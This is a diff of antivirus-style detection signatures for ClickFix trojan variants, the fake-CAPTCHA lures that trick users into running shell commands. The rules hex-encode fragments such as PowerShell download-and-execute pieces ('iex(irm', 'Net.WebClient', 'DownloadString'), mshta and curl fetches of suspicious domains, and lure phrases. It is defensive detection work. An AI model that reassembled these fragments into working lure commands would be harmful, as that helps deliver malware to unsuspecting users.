meta: + description = "Trojan:Win32/ClickFix.TFD,SIGNATURE_TYPE_CMDHSTR_EXT,0e 00 0e 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell + $a_00_1 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_2 = {56 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 } //1 Verification + $a_00_3 = {7c 00 69 00 65 00 78 00 } //1 |iex + $a_00_4 = {20 00 69 00 77 00 72 00 20 00 } //1 iwr + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=14 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YAP_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YAP_MTB.yar new file mode 100644 index 0000000000..415df661b8 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YAP_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_YAP_MTB{ + meta: + description = "Trojan:Win32/ClickFix.YAP!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,2d 01 2d 01 04 00 00 " + + strings : + $a_00_0 = {50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 } //100 PowerShell.exe + $a_00_1 = {48 00 69 00 64 00 64 00 65 00 6e 00 20 00 } //100 Hidden + $a_00_2 = {68 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 } //100 htps:// + $a_00_3 = {49 00 6e 00 73 00 65 00 72 00 74 00 28 00 32 00 2c 00 27 00 74 00 27 00 29 00 } //1 Insert(2,'t') + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*100+(#a_00_3 & 1)*1) >=301 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YAR_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YAR_MTB.yar new file mode 100644 index 0000000000..174ec8c24d --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YAR_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_YAR_MTB{ + meta: + description = "Trojan:Win32/ClickFix.YAR!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,2f 01 2f 01 06 00 00 " + + strings : + $a_00_0 = {63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 } //100 curl.exe + $a_00_1 = {68 00 74 00 74 00 70 00 } //100 http + $a_00_2 = {63 00 6d 00 64 00 20 00 2f 00 63 00 } //100 cmd /c + $a_00_3 = {76 00 65 00 72 00 69 00 66 00 79 00 } //1 verify + $a_00_4 = {79 00 6f 00 75 00 72 00 65 00 } //1 youre + $a_00_5 = {68 00 75 00 6d 00 61 00 6e 00 } //1 human + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*100+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=303 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YAS_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YAS_MTB.yar new file mode 100644 index 0000000000..b82024d8f9 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YAS_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_YAS_MTB{ + meta: + description = "Trojan:Win32/ClickFix.YAS!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,33 00 33 00 06 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell + $a_00_1 = {6d 00 69 00 6e 00 69 00 6d 00 69 00 7a 00 65 00 64 00 20 00 } //10 minimized + $a_00_2 = {6d 00 73 00 68 00 74 00 61 00 } //10 mshta + $a_00_3 = {68 00 74 00 74 00 70 00 } //10 http + $a_00_4 = {47 00 75 00 61 00 72 00 64 00 20 00 41 00 63 00 63 00 65 00 73 00 73 00 3a 00 } //10 Guard Access: + $a_00_5 = {47 00 75 00 61 00 72 00 64 00 69 00 61 00 6e 00 20 00 53 00 74 00 65 00 70 00 2e 00 20 00 43 00 6f 00 64 00 65 00 3a 00 } //1 Guardian Step. Code: + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*1) >=51 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YAT_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YAT_MTB.yar new file mode 100644 index 0000000000..dae8849731 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YAT_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_YAT_MTB{ + meta: + description = "Trojan:Win32/ClickFix.YAT!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,3c 00 3c 00 06 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell + $a_00_1 = {2d 00 77 00 20 00 68 00 } //10 -w h + $a_00_2 = {2d 00 6a 00 6f 00 69 00 6e 00 } //10 -join + $a_00_3 = {4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //10 New-Object Net.WebClient + $a_00_4 = {27 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 27 00 2b 00 27 00 6e 00 67 00 27 00 } //10 'DownloadStri'+'ng' + $a_00_5 = {27 00 69 00 27 00 2b 00 27 00 65 00 27 00 2b 00 27 00 78 00 27 00 } //10 'i'+'e'+'x' + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10) >=60 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YE_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YE_MTB.yar index 62042520e4..d7adeccb05 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YE_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YE_MTB.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_ClickFix_YE_MTB{ meta: - description = "Trojan:Win32/ClickFix.YE!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 06 00 00 " + description = "Trojan:Win32/ClickFix.YE!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 07 00 00 " strings : $a_02_0 = {6d 00 73 00 68 00 74 00 61 00 [0-ff] 2e 00 6d 00 70 00 33 00 } //10 @@ -10,7 +10,8 @@ rule Trojan_Win32_ClickFix_YE_MTB{ $a_02_3 = {6d 00 73 00 68 00 74 00 61 00 20 00 68 00 74 74 70 00 73 00 3a 00 2f 00 2f 00 61 00 6e 00 61 00 61 00 6d 00 77 00 2e 00 63 00 6f 00 6d 00 2f 00 [0-06] 2e 00 70 00 68 00 70 00 5c 00 31 00 } //10 $a_02_4 = {6d 00 73 00 68 00 74 00 61 00 20 00 68 00 74 74 70 00 73 00 3a 00 2f 00 2f 00 72 00 65 00 61 00 2e 00 67 00 72 00 75 00 70 00 6f 00 6c 00 61 00 6c 00 65 00 67 00 69 00 6f 00 6e 00 2e 00 65 00 63 00 2f 00 [0-06] 2e 00 70 00 68 00 70 00 5c 00 31 00 } //10 $a_02_5 = {6d 00 73 00 68 00 74 00 61 00 20 00 68 00 74 74 70 00 73 00 3a 00 2f 00 2f 00 67 00 72 00 65 00 65 00 6e 00 69 00 6e 00 64 00 75 00 73 00 74 00 72 00 79 00 2e 00 70 00 6c 00 2f 00 [0-06] 2e 00 70 00 68 00 70 00 5c 00 31 00 } //10 + $a_00_6 = {67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 } //-100 github.com condition: - ((#a_02_0 & 1)*10+(#a_02_1 & 1)*10+(#a_02_2 & 1)*10+(#a_02_3 & 1)*10+(#a_02_4 & 1)*10+(#a_02_5 & 1)*10) >=10 + ((#a_02_0 & 1)*10+(#a_02_1 & 1)*10+(#a_02_2 & 1)*10+(#a_02_3 & 1)*10+(#a_02_4 & 1)*10+(#a_02_5 & 1)*10+(#a_00_6 & 1)*-100) >=10 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YG_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YG_MTB.yar new file mode 100644 index 0000000000..b9b2e6f5a2 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YG_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_YG_MTB{ + meta: + description = "Trojan:Win32/ClickFix.YG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell + $a_00_1 = {69 00 65 00 78 00 28 00 69 00 72 00 6d 00 28 00 24 00 } //10 iex(irm($ + $a_00_2 = {2e 00 54 00 6f 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 29 00 } //10 .ToString() + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YHH_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YHH_MTB.yar new file mode 100644 index 0000000000..10763107fd --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_YHH_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_YHH_MTB{ + meta: + description = "Trojan:Win32/ClickFix.YHH!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 03 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //10 mshta + $a_00_1 = {68 00 74 00 74 00 70 00 } //10 http + $a_00_2 = {3d d8 e9 df } //10 + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZA.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZA.yar new file mode 100644 index 0000000000..a04dc9372e --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZA.yar @@ -0,0 +1,19 @@ + +rule Trojan_Win32_ClickFix_ZA{ + meta: + description = "Trojan:Win32/ClickFix.ZA,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 09 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {2d 00 77 00 } //1 -w + $a_00_2 = {e2 00 80 00 95 00 77 00 } //1 + $a_00_3 = {e2 00 80 00 94 00 77 00 } //1 + $a_00_4 = {e2 00 80 00 93 00 77 00 } //1 + $a_00_5 = {2f 00 77 00 } //1 /w + $a_00_6 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_7 = {2e 00 70 00 73 00 31 00 } //-100 .ps1 + $a_00_8 = {2e 00 68 00 74 00 61 00 } //-100 .hta + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*-100+(#a_00_8 & 1)*-100) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZB.yar new file mode 100644 index 0000000000..46ae92f865 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZB.yar @@ -0,0 +1,20 @@ + +rule Trojan_Win32_ClickFix_ZB{ + meta: + description = "Trojan:Win32/ClickFix.ZB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 0a 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2d 00 77 00 } //10 -w + $a_00_2 = {e2 00 80 00 95 00 77 00 } //10 + $a_00_3 = {e2 00 80 00 94 00 77 00 } //10 + $a_00_4 = {2f 00 77 00 } //10 /w + $a_00_5 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_6 = {69 00 65 00 78 00 } //1 iex + $a_00_7 = {69 00 77 00 72 00 } //1 iwr + $a_00_8 = {2e 00 70 00 73 00 31 00 } //-300 .ps1 + $a_00_9 = {2e 00 68 00 74 00 61 00 } //-300 .hta + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*-300+(#a_00_9 & 1)*-300) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZC.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZC.yar new file mode 100644 index 0000000000..67107d37a3 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZC.yar @@ -0,0 +1,19 @@ + +rule Trojan_Win32_ClickFix_ZC{ + meta: + description = "Trojan:Win32/ClickFix.ZC,SIGNATURE_TYPE_CMDHSTR_EXT,3c 00 3c 00 09 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //20 powershell + $a_00_1 = {2d 00 77 00 } //20 -w + $a_00_2 = {68 00 74 00 74 00 70 00 } //20 http + $a_00_3 = {2e 00 70 00 73 00 31 00 } //-500 .ps1 + $a_00_4 = {2e 00 68 00 74 00 61 00 } //-500 .hta + $a_00_5 = {62 00 70 00 2d 00 70 00 79 00 74 00 72 00 61 00 63 00 6b 00 } //-500 bp-pytrack + $a_00_6 = {6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 3a 00 } //-500 localhost: + $a_00_7 = {5c 00 65 00 64 00 67 00 65 00 5c 00 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 5c 00 6d 00 73 00 65 00 64 00 67 00 65 00 2e 00 65 00 78 00 65 00 } //-700 \edge\application\msedge.exe + $a_00_8 = {67 00 72 00 65 00 65 00 64 00 2d 00 77 00 61 00 72 00 72 00 61 00 6e 00 74 00 79 00 2e 00 64 00 69 00 67 00 69 00 6b 00 65 00 78 00 } //500 greed-warranty.digikex + condition: + ((#a_00_0 & 1)*20+(#a_00_1 & 1)*20+(#a_00_2 & 1)*20+(#a_00_3 & 1)*-500+(#a_00_4 & 1)*-500+(#a_00_5 & 1)*-500+(#a_00_6 & 1)*-500+(#a_00_7 & 1)*-700+(#a_00_8 & 1)*500) >=60 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZC_MTB.yar index 1d8c386a54..7086e83c02 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZC_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZC_MTB.yar @@ -1,5 +1,20 @@ rule Trojan_Win32_ClickFix_ZC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.ZC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,73 00 73 00 06 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {68 00 74 00 74 00 70 00 } //5 http + $a_00_2 = {20 00 69 00 65 00 78 00 } //5 iex + $a_00_3 = {69 00 77 00 72 00 } //5 iwr + $a_00_4 = {69 00 72 00 6d 00 } //5 irm + $a_00_5 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 } //5 invoke-expression + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*5+(#a_00_2 & 1)*5+(#a_00_3 & 1)*5+(#a_00_4 & 1)*5+(#a_00_5 & 1)*5) >=115 + +} +rule Trojan_Win32_ClickFix_ZC_MTB_2{ meta: description = "Trojan:Win32/ClickFix.ZC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 00 " diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZD_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZD_MTB.yar index 203271eaec..132fd0172e 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZD_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_ZD_MTB.yar @@ -1,59 +1,73 @@ rule Trojan_Win32_ClickFix_ZD_MTB{ meta: - description = "Trojan:Win32/ClickFix.ZD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 08 03 08 31 00 00 " + description = "Trojan:Win32/ClickFix.ZD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,33 00 33 00 3f 00 00 " strings : - $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //1000 mshta - $a_00_1 = {68 00 74 00 74 00 70 00 } //1000 http - $a_00_2 = {2e 00 73 00 68 00 6f 00 70 00 } //50 .shop - $a_00_3 = {2e 00 78 00 79 00 7a 00 } //50 .xyz - $a_00_4 = {2e 00 69 00 63 00 75 00 } //50 .icu - $a_00_5 = {2e 00 6c 00 61 00 74 00 } //50 .lat - $a_00_6 = {2e 00 66 00 75 00 6e 00 } //50 .fun - $a_00_7 = {2e 00 62 00 65 00 74 00 } //50 .bet - $a_00_8 = {2e 00 6c 00 69 00 76 00 65 00 } //50 .live - $a_00_9 = {2e 00 6c 00 69 00 66 00 65 00 } //50 .life - $a_00_10 = {2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 } //50 .online - $a_00_11 = {2e 00 62 00 6f 00 6e 00 64 00 } //50 .bond - $a_00_12 = {2e 00 74 00 6f 00 70 00 } //50 .top - $a_00_13 = {2e 00 77 00 6f 00 72 00 6c 00 64 00 } //50 .world - $a_00_14 = {2e 00 63 00 6c 00 69 00 63 00 6b 00 } //50 .click - $a_00_15 = {2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 } //50 .forest - $a_00_16 = {33 04 65 00 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //1 гeСАРТСНА - $a_00_17 = {33 04 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //1 гСАРТСНА - $a_00_18 = {33 04 65 00 20 00 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //1 гe САРТСНА - $a_00_19 = {43 00 6c 00 bf 03 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //1 - $a_02_20 = {48 00 75 00 6d 00 30 04 6e 00 [0-1e] 21 04 41 00 50 00 54 00 43 00 48 00 41 00 } //1 - $a_00_21 = {43 49 6f 75 64 66 49 61 72 65 20 55 6e 69 71 75 65 20 4f 6e 65 2d 74 69 6d 65 } //1 CIoudfIare Unique One-time - $a_00_22 = {63 00 61 00 70 00 74 00 63 00 68 00 61 00 } //1 captcha - $a_00_23 = {50 00 72 00 65 00 73 00 73 00 20 00 45 00 6e 00 74 00 65 00 72 00 } //1 Press Enter - $a_00_24 = {72 00 6f 00 62 00 6f 00 74 00 } //1 robot - $a_00_25 = {68 00 75 00 6d 00 61 00 6e 00 } //1 human - $a_00_26 = {20 00 72 00 61 00 79 00 } //1 ray - $a_00_27 = {76 00 65 00 72 00 69 00 66 00 } //1 verif - $a_00_28 = {20 00 72 00 65 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 } //1 recaptcha - $a_00_29 = {20 00 72 00 65 00 20 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 } //1 re captcha - $a_00_30 = {20 00 72 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //1 rCAPTCHA - $a_00_31 = {20 00 63 00 6c 00 69 00 70 00 20 00 46 00 52 00 45 00 45 00 } //1 clip FREE - $a_00_32 = {20 00 4f 00 76 00 65 00 72 00 20 00 46 00 52 00 45 00 45 00 } //1 Over FREE - $a_00_33 = {72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 72 00 } //1 robot: r - $a_00_34 = {72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 72 00 } //1 robot - r - $a_00_35 = {43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //1 Cloudflare - $a_00_36 = {2d 00 20 00 4f 00 76 00 65 00 72 00 20 00 46 00 52 00 45 00 45 00 } //1 - Over FREE - $a_00_37 = {47 00 6f 00 6f 00 67 00 6c 00 65 00 20 00 4d 00 65 00 65 00 74 00 } //1 Google Meet - $a_00_38 = {44 00 4e 00 53 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 } //1 DNS service - $a_00_39 = {72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //1 robot - Cloudflare - $a_00_40 = {72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //1 robot: Cloudflare - $a_00_41 = {72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //1 robot: CAPTCHA - $a_00_42 = {72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //1 robot - CAPTCHA - $a_00_43 = {48 00 75 00 6d 00 61 00 6e 00 20 00 2d 00 20 00 72 00 } //1 Human - r - $a_00_44 = {48 00 75 00 6d 00 61 00 6e 00 3a 00 20 00 72 00 } //1 Human: r - $a_00_45 = {48 00 75 00 6d 00 61 00 6e 00 3a 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //1 Human: CAPTCHA - $a_00_46 = {48 00 75 00 6d 00 61 00 6e 00 20 00 2d 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //1 Human - CAPTCHA - $a_00_47 = {4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 3a 00 20 00 46 00 69 00 78 00 20 00 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 20 00 44 00 4e 00 53 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 72 00 65 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 } //1 Microsoft Windows: Fix Internet DNS Service reconnect - $a_00_48 = {52 00 65 00 73 00 74 00 61 00 72 00 74 00 20 00 44 00 4e 00 53 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 69 00 6e 00 20 00 74 00 68 00 65 00 20 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 } //1 Restart DNS service in the Microsoft Windows system + $a_00_0 = {2e 00 73 00 68 00 6f 00 70 00 2f 00 } //50 .shop/ + $a_00_1 = {2e 00 78 00 79 00 7a 00 2f 00 } //50 .xyz/ + $a_00_2 = {2e 00 69 00 63 00 75 00 2f 00 } //50 .icu/ + $a_00_3 = {2e 00 6c 00 61 00 74 00 2f 00 } //50 .lat/ + $a_00_4 = {2e 00 66 00 75 00 6e 00 2f 00 } //50 .fun/ + $a_00_5 = {2e 00 62 00 65 00 74 00 2f 00 } //50 .bet/ + $a_00_6 = {2e 00 69 00 6e 00 66 00 6f 00 2f 00 } //50 .info/ + $a_00_7 = {2e 00 6c 00 69 00 76 00 65 00 2f 00 } //50 .live/ + $a_00_8 = {2e 00 6c 00 69 00 66 00 65 00 2f 00 } //50 .life/ + $a_00_9 = {2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 2f 00 } //50 .online/ + $a_00_10 = {2e 00 62 00 6f 00 6e 00 64 00 2f 00 } //50 .bond/ + $a_00_11 = {2e 00 74 00 6f 00 70 00 2f 00 } //50 .top/ + $a_00_12 = {2e 00 77 00 6f 00 72 00 6c 00 64 00 2f 00 } //50 .world/ + $a_00_13 = {2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 2f 00 } //50 .forest/ + $a_00_14 = {2e 00 74 00 6f 00 64 00 61 00 79 00 2f 00 } //50 .today/ + $a_00_15 = {2e 00 72 00 75 00 6e 00 2f 00 } //50 .run/ + $a_00_16 = {2e 00 73 00 62 00 73 00 2f 00 } //50 .sbs/ + $a_00_17 = {2e 00 6d 00 6f 00 6d 00 2f 00 } //50 .mom/ + $a_00_18 = {2e 00 64 00 69 00 67 00 69 00 74 00 61 00 6c 00 2f 00 } //50 .digital/ + $a_00_19 = {2e 00 6c 00 6f 00 6c 00 2f 00 } //50 .lol/ + $a_00_20 = {2e 00 68 00 61 00 69 00 72 00 2f 00 } //50 .hair/ + $a_00_21 = {2e 00 63 00 6c 00 69 00 63 00 6b 00 2f 00 } //50 .click/ + $a_00_22 = {2e 00 63 00 79 00 6f 00 75 00 2f 00 } //50 .cyou/ + $a_00_23 = {2e 00 6d 00 6f 00 74 00 6f 00 72 00 63 00 79 00 63 00 6c 00 65 00 73 00 2f 00 } //50 .motorcycles/ + $a_00_24 = {2e 00 62 00 65 00 61 00 75 00 74 00 79 00 2f 00 } //50 .beauty/ + $a_00_25 = {33 04 65 00 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //1 гeСАРТСНА + $a_00_26 = {33 04 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //1 гСАРТСНА + $a_00_27 = {33 04 65 00 20 00 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //1 гe САРТСНА + $a_00_28 = {43 00 6c 00 bf 03 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //1 + $a_02_29 = {48 00 75 00 6d 00 30 04 6e 00 [0-1e] 21 04 41 00 50 00 54 00 43 00 48 00 41 00 } //1 + $a_00_30 = {43 49 6f 75 64 66 49 61 72 65 20 55 6e 69 71 75 65 20 4f 6e 65 2d 74 69 6d 65 } //1 CIoudfIare Unique One-time + $a_00_31 = {63 00 61 00 70 00 74 00 63 00 68 00 61 00 } //1 captcha + $a_00_32 = {50 00 72 00 65 00 73 00 73 00 20 00 45 00 6e 00 74 00 65 00 72 00 } //1 Press Enter + $a_00_33 = {72 00 6f 00 62 00 6f 00 74 00 } //1 robot + $a_00_34 = {68 00 75 00 6d 00 61 00 6e 00 } //1 human + $a_00_35 = {20 00 72 00 61 00 79 00 } //1 ray + $a_00_36 = {76 00 65 00 72 00 69 00 66 00 } //1 verif + $a_00_37 = {20 00 72 00 65 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 } //1 recaptcha + $a_00_38 = {20 00 72 00 65 00 20 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 } //1 re captcha + $a_00_39 = {20 00 72 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //1 rCAPTCHA + $a_00_40 = {20 00 63 00 6c 00 69 00 70 00 20 00 46 00 52 00 45 00 45 00 } //1 clip FREE + $a_00_41 = {20 00 4f 00 76 00 65 00 72 00 20 00 46 00 52 00 45 00 45 00 } //1 Over FREE + $a_00_42 = {72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 72 00 } //1 robot: r + $a_00_43 = {72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 72 00 } //1 robot - r + $a_00_44 = {43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //1 Cloudflare + $a_00_45 = {2d 00 20 00 4f 00 76 00 65 00 72 00 20 00 46 00 52 00 45 00 45 00 } //1 - Over FREE + $a_00_46 = {47 00 6f 00 6f 00 67 00 6c 00 65 00 20 00 4d 00 65 00 65 00 74 00 } //1 Google Meet + $a_00_47 = {44 00 4e 00 53 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 } //1 DNS service + $a_00_48 = {72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //1 robot - Cloudflare + $a_00_49 = {72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //1 robot: Cloudflare + $a_00_50 = {72 00 6f 00 62 00 6f 00 74 